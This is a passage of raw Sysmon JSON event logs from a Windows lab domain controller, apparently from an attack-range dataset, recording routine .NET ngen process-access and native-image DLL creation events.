12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001016B50A00}\r\nTargetProcessId: 1528\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001016B50A00}","TargetProcessId":"1528","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.619\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001016B50A00}\r\nTargetProcessId: 1528\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.619","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001016B50A00}","TargetProcessId":"1528","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:29.713\r\nProcessGuid: {90617006-4299-5F2D-0000-001016B50A00}\r\nProcessId: 1528\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\5f8-0\\Microsoft.GroupPolicy.Targeting.Interop.dll\r\nCreationUtcTime: 2020-08-07 12:01:29.713","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:29.713","ProcessGuid":"{90617006-4299-5F2D-0000-001016B50A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\5f8-0\\Microsoft.GroupPolicy.Targeting.Interop.dll","CreationUtcTime":"2020-08-07 12:01:29.713","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-0010C5B80A00}\r\nTargetProcessId: 4144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-0010C5B80A00}","TargetProcessId":"4144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-0010C5B80A00}\r\nTargetProcessId: 4144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-0010C5B80A00}","TargetProcessId":"4144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-0010C5B80A00}\r\nTargetProcessId: 4144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-0010C5B80A00}","TargetProcessId":"4144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.792\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001052BC0A00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.792","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001052BC0A00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.792\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001052BC0A00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.792","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001052BC0A00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001052BC0A00}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001052BC0A00}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:29.996\r\nProcessGuid: {90617006-4299-5F2D-0000-001052BC0A00}\r\nProcessId: 2664\r\nImage: 